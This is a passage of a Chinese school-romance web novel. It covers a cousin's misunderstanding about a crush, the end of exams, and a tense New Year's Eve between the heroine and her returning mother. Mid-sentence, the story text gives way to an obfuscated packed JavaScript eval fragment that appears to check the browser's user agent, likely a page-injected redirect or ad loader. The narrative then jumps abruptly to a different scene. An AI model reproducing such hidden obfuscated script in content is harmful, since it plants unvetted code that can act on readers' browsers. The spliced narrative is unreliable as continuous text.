喻迟对喻星旋过于了解,她排队时的那一通指桑骂槐,瞬间让她感到了不对劲。 “你刚才那番话,应该不是说给我听的吧?” 喻星旋下巴埋在厚厚的围巾里,小声说:“不是,你别误会,我不是说你。” 看到堂姐跟陈嘉授一前一后地站着时,喻星旋的大脑就自动进入了应激状态。 她心里既埋怨着陈嘉授,也不想喻迟被蒙在鼓里,再去找陈嘉授搭话。 喻星旋踟蹰了一下,心脏像被细线绞紧。 她得告诉她三叔的事,同时也不能让堂姐察觉出,自己也喜欢过她喜欢的人。 喻星旋尽量不经意地说:“姐姐,你刚才有没有跟陈嘉授说什么?” “什么?”喻迟美眸里充满疑惑,“我没有见到陈嘉授啊。” 怎么会。喻星旋险些不敢相信自己的耳朵。 陈嘉授就站在她身后,她就算眼神再不好,也不至于完全察觉不到。 “那你……没看到排在你后面的人吗?” “看到了,就是那个冷白皮的帅哥?”喻迟沉吟了片刻,“你别说,我好像见过他。” 喻星旋脑海中闪过一道火星,像是要抓住什么,却怎么都抓不住。 她急急地扯住喻迟的衣袖:“你见过?什么时候?” “就是我让你帮我约陈嘉授的那天,放学我在学校外面的小花园等。陈嘉授没来,他反而来了。” 喻星旋完全傻了眼。 忽然想起,事后喻迟曾提过的一件事。 那天她在小花园等人时,有一个陌生的男生跟她搭讪。 喻迟那天还气愤地说,她从来没见过跟人搭讪还拽得这样二五八万的男生。没礼貌又没耐心,两句话都没说完,转头就走。 所以那天,陈嘉授其实去赴约了? 但喻迟怎么会认不出他来? 难道……除非…… 她在奶茶店向她打听的男生,根本不是陈嘉授! 喻星旋颤抖着嗓音:“……你要约的人,不是刚才的男生吗?” “不是啊,我记得那张桌子旁边有两个人,我说的是正对着我们的那个。” 已经将近一个学期过去,喻迟的记忆已经有些模糊:“具体的样子想不起来了,只记得有一头卷毛,笑起来坏坏的。” 喻星旋缓慢地眨了下眼睛,她觉得自己蠢透了,一时间还无法接受现实,难得有些讷讷地问:“真的不是他?那天他们是坐一起的,你再好好回忆一下。” “真的不是,我连另一个的脸都没看见。”喻迟啼笑皆非,“但你为什么会认错啊?” “我……”喻星旋张了张口,剔透的侧脸苍白。 她已经彻底被喻迟问住。 喻星旋艰难地吞了口口水:“你当时,没跟我说是哪一个。” “喻星旋,你都不知道我说的是谁,就这么自信我看上的是他?” “……” “噢,我知道了,其实看上他的是你,所以你对我也先入为主了?” 怎么可能呢? 喻星旋怔然。 她很清楚地记得,当时高一开学没多久,她因为陈嘉授的中考成绩比她高了三分,一直对他怀恨在心。 她讨厌陈嘉授都来不及,怎么可能关注他。 喻星旋一贯清冷不带情绪的眼睛,此刻却变得极其无措:“我没有。” 喻迟暗笑着说:“你先别急着否认,再想想,你在那天之前,跟他单独相处过吗?” “……” 平安夜,街道两旁的商店透着浓浓的节日氛围。橱窗中透出暖光,喻星旋的侧脸在光线中显得生动起来。 眼波流转,含着水光,实在比平日多了丝羞恼的意味。 半晌,喻星旋终于难为情地点了点头。 “有的。” 31. 是人吗 . 那是军训最后一天汇演。 八月末,白天骄阳似火。 一大早,各班就动身到操场集合。 喻星旋看到别人束的紧紧的腰间,才想起她没有扎腰带,半路上又匆匆地回到教室去取。 教室空无一人,最后离班的人关闭了空调,扇叶正在缓缓合拢,不再吐出冷气。 喻星旋蹲着,在课桌桌斗里摸来摸去,摸到了要找的东西。 正要下楼回操场。就在这时,教室紧闭的后门忽然被人推开。 “吱呀”一声,在空荡的教室中分外清晰。 喻星旋下意识地回头看了一眼,越过歪歪斜斜的几排桌椅,看清那人的动作,她的脸顷刻间红了。 虽然一时想不起他的名字,但她认出了他。 也不会有人不认识他。 军训期间班里的临时班长,今年的中考状元。身形挺拔,眉宇英俊,仿佛天生就是受人追捧的存在,走到哪都无比惹眼。 可能是她藏身处太隐蔽,男生从头到尾都没注意到教室有人。 军训汇演很快就要开始,他来不及去别处,于是随手将后门关紧。 然后。 就站在那里。 动作迅速地,换起了上衣。 “……” 喻星旋眼睛都来不及闭,也忘了眨。 眼睁睁看着,单手从头顶扯下湿透的迷彩T恤,拿起另一件干的套上。 整个过程不过短短几秒,每个细节都像是烙在她脑海中。 忽隐忽现间,她看到男生瘦削紧实、充满少年感的上半身线条。 像是瘦金体转折的笔锋,挺拔,轻盈,而有力量。 学校发的迷彩服过于宽大,他用一条深色皮带束紧。一截劲瘦的、肌肉轮廓清晰的腰,从裤腰的边沿延伸出来。 空调那点残余的冷气,似乎已经发挥不了什么作用。 教室闷不透气,喻星旋的后背像是被烈日炙烤着。 她觉得好热。 热到无法呼吸了。 喻星旋腿都要蹲麻,但如果贸然站起来,一定是两个人都尴尬的场景。 终于,等到陈嘉授穿戴齐整离开,她这才站起来,低头快步跑回操场。 一路来到教学楼门口,走在前面的男生忽然站定回头。 喻星旋一紧张,也不知道在心虚什么,迅速躲到了柱子后面。 直到发现他停下,是因为一个高年级的男生在他身后叫了他一声,喻星旋这才松了口气。 男生唤他的称呼是:“阿授。” 他点头,淡淡地应了声:“赶时间,有空再聚。” 那学长熟稔地拍了拍他的肩,像是在看他的脸色行事:“好啊,你有空随时约我。” …… 这一刻,他的相貌,才开始慢慢跟她不太熟悉的一个名字对上号。 她那时才想起他叫陈嘉授。 他的确很出众,在她最看不惯他的那段时间也要承认,是连背影都无法忽视的那种出众。 只是,喻星旋绝对不会承认那天她脸红了。 她尽量简短地对喻迟说:“……我不小心看到过他换衣服。” 喻迟属实没想到会是这个答案:“啊?!” “这不算单独相处吧。”喻星旋摸了摸鼻子,“所以,我也没放在心上。” “我说什么来着。”喻迟笑眯眯地背着手,“其实你早就不知不觉地注意到他了。” 这是真的吗? 喻星旋有些恍惚。 她对他下意识的关注,真的在比她以为的更早的时候,就已经开始了? 喻星旋正胡思乱想着,忽然肩膀被喻迟碰了碰。 喻迟促狭地笑:“他身材怎么样啊?” “没看清。”喻星旋被她笑得耳根发热,板着脸正色,“……也就那样。” 听喻星旋讲完事情经过,喻迟恍然大悟:“所以,你是一直误会我跟你喜欢同一个人,所以才故意跟陈嘉授保持距离啊!” “嗯。” “闪闪你傻不傻,就算真有那么一天,我也不会介意这种事的。” “就是知道你不会介意,所以我才会自愿退出。”喻星旋眼眶热热的,认真地对喻迟说,“因为你是我更重要的家人。” 忽然,额头被喻迟精致的指甲戳了戳。 “笨蛋闪闪,你退出了,以为姐姐就能收下吗?姐姐才不会看着你受委屈,让那男的玩蛋去吧!” 喻星旋扑哧一声笑了。 闹了半天,都是乌龙。 “幸好今天我也在,才把这误会解开。”喻迟猝不及防地问道,“那现在呢,你还喜欢他吗?” 下意识的排斥已经成了惯性。更何况,他爸爸背刺了她的信任是事实。 喻星旋长睫垂下,遮住眼底的纠结和失落。 “我不知道。” 她曾经站在分岔道口,捂住耳朵,朝着讨厌陈嘉授的方向一路狂奔。 直到现在,她被重新送回了当初的分岔道。 喻迟让她再做一次选择。 而喻星旋很惶惑。 “要考试了。”她把话题扯开,“我现在还没空想这个问题。” 喻迟毫不意外地笑了笑,没有催促。 姐妹俩分开之前,喻星旋和喻迟互换了平安夜礼物。 因为今天一整晚她的脑子都很乱,喻星旋这时才想起,还有一件事没解决。 “上次我把纸条送错了人,原本要送的,应该是我们班的沈林风。” 她问喻迟,需不需要再帮她重新约沈林风一次。 喻迟却说不用了,她当初也只是一时兴起,还远远没到忘不了的程度。 “而且,这段日子,我又给你找了个新的姐夫。” 说着,喻迟还打开手机相册,翻出两人的合照给她看。 男生戴着眼镜,长相端正儒雅。似乎在某一次经验分享会上做过学生代表,是高三的年级前十。 看上去,比喻迟以前交过的男朋友靠谱太多。 看到堂姐脸上甜蜜荡漾的笑,喻星旋猜测她现在应该很幸福。 她很为她高兴。 最后,喻迟对她说:“你也别纠结太久啦,像我一样朝前看,不好吗?” 喻星旋心底忽然划过一丝微妙的不舒服。 她心心念念了这么久的事情,对喻迟来说,却只是一次随时都可能忘掉的偶遇。 如果喻迟当时多较真一次,坚持一次,一定要亲眼见过想见的人才罢休。或许这误会,本就不必发生。 喻星旋跟喻迟不同,她固执,执拗,认死理,总是希望世界上的一切都保留在最开始时的样子。 朝前看,真的有喻迟说的那么容易吗? 她总是能够轻易地放下陈嘉授,似乎他排在一切对她重要的人和事后面。从这个角度而言,她是做到了的。 可是,要将视线从陈嘉授身上移开,转移到另一个人身上。 喻星旋又做不到。 元旦假期后返校,就到了期末考试的冲刺阶段。 每天高强度的忙碌,让喻星旋暂时分不出其他心思。 一月十号,最后一门考试结束。 走廊上人头攒动,学生们说说笑笑,沉浸在寒假前的兴奋里,收拾东西回各自班级。 不知谁喊了一声“下雪了”,透过走廊的窗户,大家看到深冬灰白色的天幕中,果然静悄悄地飘起了雪花。 人群欢呼一声,紧接着,许多人连班级都不回,直接跑去了楼下玩雪。 喻星旋一向不爱参与这些热闹,她身边没有同伴,淡定地走在楼梯上,但脚下的步伐却很轻快,昭示着她此刻雀跃的心情。 她没有先回二班,而是先去六班找了祝媛。 祝媛正要跟几个朋友去楼下玩雪,激动地拉上她:“走嘛,一起!” “我正要跟你说,今天我要提前回家,不能等你一起了。” “哦……那好吧。” 祝媛问喻星旋是不是家里出了什么事,喻星旋轻轻摇头,说没有,嘱咐祝媛:“注意安全。” 她上楼回班,可能许多同学都去玩雪了,班里零星几个人,没有考完试后的吵嚷。靠讲台的前排,几个人扎堆站着,像是在争论答案。 因为急着回家,喻星旋没有多留意,匆匆低着头穿过讲台。 “哎哎哎,大学霸回来了!” 反倒是那些同学看见她,有人激动地喊了一声。 “物理那道压轴题,你算出来是多少?” “……” 喻星旋在他们期待的目光中走过去,一眼就看到了站在他们中间的陈嘉授。 他目光寡淡,唇线抿得很直,没有开口的意思,但双手抱臂的姿态,明显也在等待她的答案。 “4.5秒,你们呢?” 她话音刚落,几人纷纷哀叹:“怎么又出现一个新答案!” 喻星旋下意识地看向陈嘉授,不知是不是错觉,她总觉得他唇边隐约有笑意浮现。 喻星旋拧了拧眉。 众人忽然反应过来:“陈大佬还没说他的答案呢!” 男生姿态随意地靠着身后的课桌,低冽的尾音上扬:“如果我也说是4.5秒呢?” 从这一刻起,他毫无遮掩地对上她的视线。 “唉,惨了惨了,大家都散了吧,人家两个答案都一样了,我们肯定都没做对。” 众人散开前,不知是谁评价了句:“想不到你们还挺有默契的。” “……” 教室前面的空间,只剩他们两人。 但谁都没先走开。 陈嘉授手臂垂下,右手拨着左腕上的串珠,忽然发难:“你笑什么?” “我没笑,是你笑了。” 陈嘉授自言自语一般,轻哂:“这次不挂脸了,看来考得不错。” 谁挂脸了。 根本不是他想的那样好吗。 看到女生很想反驳但又很没底气的模样,陈嘉授像是被取悦到,她吃瘪的样子可不多见。他像是打了胜仗的将军,转身,准备留她一个人尴尬。 “喂。” 喻星旋也不知道自己为什么要忽然叫住他,有那么一瞬间,她忘了今天本想要早点回家。 但等陈嘉授的身形真的顿住,她竟久违地涌上一丝慌乱。 喻星旋胡乱扯了个借口:“你带校园卡了没?” “你要干嘛?” “想借你的校园卡接水。我忘记带了。” 喻星旋跟着陈嘉授走到他座位旁,看着他俯身在课桌里摸东西。她白皙的手掌向上摊开,等待陈嘉授把校园卡递到她手里。 然而并没有。陈嘉授手中拎着自己的水杯,对着她微扬下颌:“走不走。” “……?” “看我干嘛,”陈嘉授说着,直接越过她,又回身催促,“就许你喝水啊。” 接完水,喻星旋还是对陈嘉授说她挂脸感到很气愤:“你别高兴的太早,没准那题不是4.5秒。” 陈嘉授气定神闲,伸手旋紧瓶盖:“错了不就错了,大不了一起死。” “……谁要跟你一起死。”喻星旋撇了撇嘴,嘴上嫌弃道,“你还没好啊,我先回去了。” “跑那么快干什么,回来。” 陈嘉授把水杯交给她,“帮个忙,拿回去。我去趟办公室。” 喻星旋先把他的东西放好,走出几步,又看向陈嘉授空荡荡的座位,不可避免地有些失落。 这应该,是她和他过年前的最后一面了。 不过好在,她赶在这学期的最后,鼓起勇气,主动迈出了一步。 而且陈嘉授,似乎也没她想象得那么记仇。 喻星旋回位置时,路过赵燕妮的课桌。 她叫住她,有些不好意思地说:“我这次数学考得还不错。谢谢你,平时给我讲题。” 举手之劳而已。 喻星旋摇摇头,她知道并不能算是她的功劳,赵燕妮平时也很努力。 喻星旋把桌子里所有东西都清空,装进书包背在身上。想了想,对赵燕妮说:“拜拜,我先走了。” “喻星旋,那个,假期快乐。” 喻星旋开心地弯了弯眼睛:“你也是,假期快乐。” 这一天,喻星旋的快乐是超标的。不仅仅是因为考试结束后的小小插曲。 喻星旋走出教学楼,踏着地面上覆盖的一层薄薄的雪花,还未出校门,就已经迫不及待地将手机开机。 唐愿的信息很快弹出来:【妈妈到长南了,晚上见】 喻星旋胸口翻涌得厉害。然而,她却一个字都没回,笑意隐去,将手机关机,重新放回包里。 来到校门口,她犹豫了一下,破天荒地伸手叫了一辆出租车。 车窗外风雪蔓延,很快将她带回了奶奶家。 她没有带伞,快步从小区门口向奶奶家的单元楼走去。头顶、睫毛、围巾上落满了雪。喻星旋刚要抬手敲门,又转变了主意。 她放慢速度,把身上的雪全部拍落,这才按了一下门铃。 开门的是刘素平:“闪闪,你看谁来了?” 门开时,喻星旋就已经看到了旁边的唐愿。 唐愿是个瘦小清丽的女人,像一株悬崖峭壁边生长的百合。 喻星旋手指动了动,没有理会唐愿殷切的目光。换完鞋子,这才不冷不热地叫了她一声:“妈妈。” 她装作没看见刘素平给她使的眼色。 “你这孩子,一年没见你妈妈了,都不问问她什么时候回来?” “妈,不怪她。”唐愿安慰刘素平,“我提前给她发过信息。” “我手机关机了,没看见。” 喻星旋淡淡地应了声,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可是,自从他出意外之后,妈妈好像把世上所有的苦都吃尽了。你爸爸不在了,我那时还怀着你,不小心从楼梯上摔下去……只差一点,你就保不住了。” “再后来,我的父母也不在了。” 几乎是转瞬之间,她痛失所有至亲,童话般人人艳羡的生活,变为了无边的黑暗。 喻星旋出生后,唐愿的单位接到上面的任务,派遣一支医疗队到边疆进行基层医疗援助。唐愿急于逃离,只想逃避现实,于是报名前往了2000公里以外的边境山村。 后来任务结束,医疗队陆续返回。唐愿却留下,成为边检的一名医生。 她在那里,找到了新的人生意义。 唐愿是第一次亲口对她说出这些往事。 或许是觉得,她已经长大了,能够理解当初自己的决定。 但妈妈不知道,这些故事,刘素平已经对她讲过无数遍。 她从来没有真正怨恨过她。 话说开后,唐愿抱了抱她,在喻星旋耳边说:“等除夕那天,妈妈有个好消息要告诉你。” 回家后,母女俩的关系,肉眼可见地缓和了一点。 除夕夜,一家三口其乐融融地围着桌子,边看春晚,边包饺子。 刘素平调的饺子馅是天下一绝,唐愿负责和面擀皮,喻星旋和奶奶只负责包。 窗外鞭炮声红火,在春晚的背景音中,客厅响起一阵手机来电铃声。 “谁的手机?” “是我的。”唐愿手上沾满面粉,“闪闪,你去帮我接一下。” 喻星旋没留意来电显示,用干净的小指划了一下屏幕:“您好,找我妈妈是吗?她现在在忙,你有什么事可以跟我说。” 那边显然没预料到不是本人,顿了一下,笑着说:“是闪闪吧?” 喻星旋脑海中的弦骤然断了。 因为电话对面,是个男人的声音。 “你是哪位?” “我姓赵。阿愿是不是没跟你提过我?” “……” 喻星旋不知道自己是怎么把手机交给唐愿的。 但在听到唐愿对着手机里轻声说“新年快乐”的时候,喻星旋觉得有一部分自己已经不属于她的身体了。 会在除夕夜单独给她打电话的男人,会跟唐愿是什么关系? 她不是不能接受唐愿有新的恋爱。 可她为什么要瞒着她呢? 她结婚之后,会有新的家庭,可能也会有新的孩子。以后就连过年的少得可怜的几天假期,她也不会回奶奶家看她了。 她要彻底抛下自己了。 “你要告诉我的好消息,就是这个?” “闪闪,你听我解释……” 喻星旋再也听不进任何解释。随手扯过一件外套,连拖鞋都没换下,夺门而出。 除夕夜万家灯火,喻星旋跑进了小区花园,靠花坛坐着,抱着膝盖,骤然哭出声来。 冷风随着她的抽泣灌进喉咙,夹杂着鞭炮炸过后硝烟硫磺的烟气。 她咳了好几声,连哭都哭不尽兴,心里极其郁闷。 外套里的手机一直在振。 班群里已经99+的消息,大家都在起哄第一名发红包。 喻星旋不想扫了大家的兴,大手一挥发了200。 这钱还是早上唐愿刚刚打给她的。说现在微信群里都流行抢红包,让她也参与参与。 转眼之间红包就被抢光。 群里一片“老板大气”的吹捧。 就在这时,沈林风@陈嘉授,一连发了五排菜刀的表情:【卧槽,陈嘉授你是人吗?一个人抢一百多?】 群里再度被刷屏。 陈嘉授从善如流,连着发了五个二百元的,刚发出来就被一抢而空。 喻星旋一个都没抢到,更想哭了。 偏偏陈嘉授又来火上浇油,直接给她发私聊挑衅: 【不是吧】 【你手气够可以的】 【[大拇指]】 …… 喻星旋抹了一把眼睛,彻底不想理他。 她在花坛旁不知坐了多久,期间接到过妈妈和奶奶打来的无数通电话。实在烦得受不了就接了:“让我一个人静静行吗,我没出小区,没走远!” 即将零点的时候,四周的鞭炮声像约定好似的,骤然激烈,噼里啪啦的,几乎要把耳膜都震破。 也是在这时,喻星旋冻透的手心中,手机嗡嗡地振动起来。 她以为又是妈妈或者奶奶在给她打电话催她回去,随手就想挂断。 但忽然意识到,此刻响起的提示音,又不是她的来电铃声。 屏幕翻转过来,喻星旋不敢相信自己的眼睛—— 陈嘉授邀请您进行视频通话。